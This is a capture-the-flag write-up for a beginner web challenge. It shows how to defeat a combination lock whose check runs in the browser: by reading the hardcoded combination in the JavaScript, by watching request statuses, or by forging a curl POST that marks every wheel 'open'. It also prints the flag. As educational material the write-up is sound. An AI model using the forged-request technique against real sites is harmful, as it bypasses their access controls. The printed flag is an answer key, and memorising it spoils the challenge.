Flash CTF – Cracking The Javashop

Summary

This is an introductory client side authentication challenge. While each click of “unlock” does send a request to the server, the request itself contains the locked status of each of the four wheels.

Three Different Solutions

There’s effectively three solutions to this challenge:

Method 1: Static Analysis / Reading the Javascript

By right clicking and viewing the source of the webpage, we see that the javascript is fairly simple and all fits into one page:

<script>
        const wheels = document.querySelectorAll('.wheel');
        const correctCombination = ['6', '8', '7', '2'];
        const messageElement = document.getElementById('message');
        const accessDeniedSound = new Audio('access_denied.mp3');
        const accessGrantedSound = new Audio('access_granted.mp3');

        wheels.forEach(wheel => {
            wheel.addEventListener('click', () => {
                let currentValue = parseInt(wheel.textContent);
                wheel.textContent = (currentValue + 1) % 10;
            });
        });

        function checkCombination() {
            const combination = Array.from(wheels).map(wheel => wheel.textContent);
            const status = combination.map((num, index) => num === correctCombination[index] ? 'open' : 'locked');
            console.log(status);

            // Send the status to the server (example using fetch)
            fetch('/check-combination', {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify({ status })
            })
            .then(response => response.json())
            .then(data => {
                if (status.every(s => s === 'open')) {
                    accessGrantedSound.play();
                    messageElement.textContent = data.message;
                    messageElement.style.color = '#27ae60';
                    messageElement.classList.remove('shake');
                    
                    // Disable the wheels
                    wheels.forEach(wheel => {
                        wheel.style.pointerEvents = 'none';
                    });

                    // Keep the message visible
                    messageElement.classList.add('show');
                } else {
                    accessDeniedSound.play();
                    messageElement.textContent = 'Access Denied';
                    messageElement.style.color = '#e74c3c';
                    messageElement.classList.add('shake');
                    messageElement.classList.add('show'); // Ensure the message is shown

                    setTimeout(() => {
                        messageElement.classList.remove('shake');
                    }, 500); // Remove shake class after animation

                    // Hide message after 1 second
                    setTimeout(() => {
                        messageElement.classList.remove('show');
                    }, 1000);
                }
            })
            .catch(error => {
                console.error('Error:', error);
            });
        }
    </script>

Most excitingly, we see a variable named correctCombination, set to the array [‘6’, ‘8’, ‘7’, ‘2’]! Trying that combination opens the webpage and we get our flag!

Method 2: Dynamic Analysis of Web Requests

If instead of viewing the source for the webpage, we watch the network requests, we’ll see that trying to unlock the page sends a request that looks like

POST http://bs5v0fze.chals.mctf.io/check-combination HTTP/1.1
Content-Type: application/json
Some other headers we don't care about...

{"status":["locked","locked","locked","locked"]}

Interesting, it looks like instead of sending a pincode, we’re instead sending four statuses, each of which is “locked”. Trying all 10 positions on the first wheel will eventually give a post request that sends {"status":["open","locked","locked","locked"]}! This means we cracked the first wheel! Doing the same for the other three wheels will open the lock and give us the flag!

Method 3: Forging The Web Request

Since we see that we’re simply sending statuses to the check-combination endpoint instead of the combinations themselves, we don’t even have to crack the combination! Instead, we can just send our own request that pretends we opened all four wheels:

curl -X POST http://host5.metaproblems.com:7510/check-combination -H "Content-Type: application/json" -d '{"status":["open","open","open","open"]}'
{"message":"MetaCTF{3arly_m0rn1ng_c0ff33_4nd_h4cking}"}

Flag

MetaCTF{3arly_m0rn1ng_c0ff33_4nd_h4cking}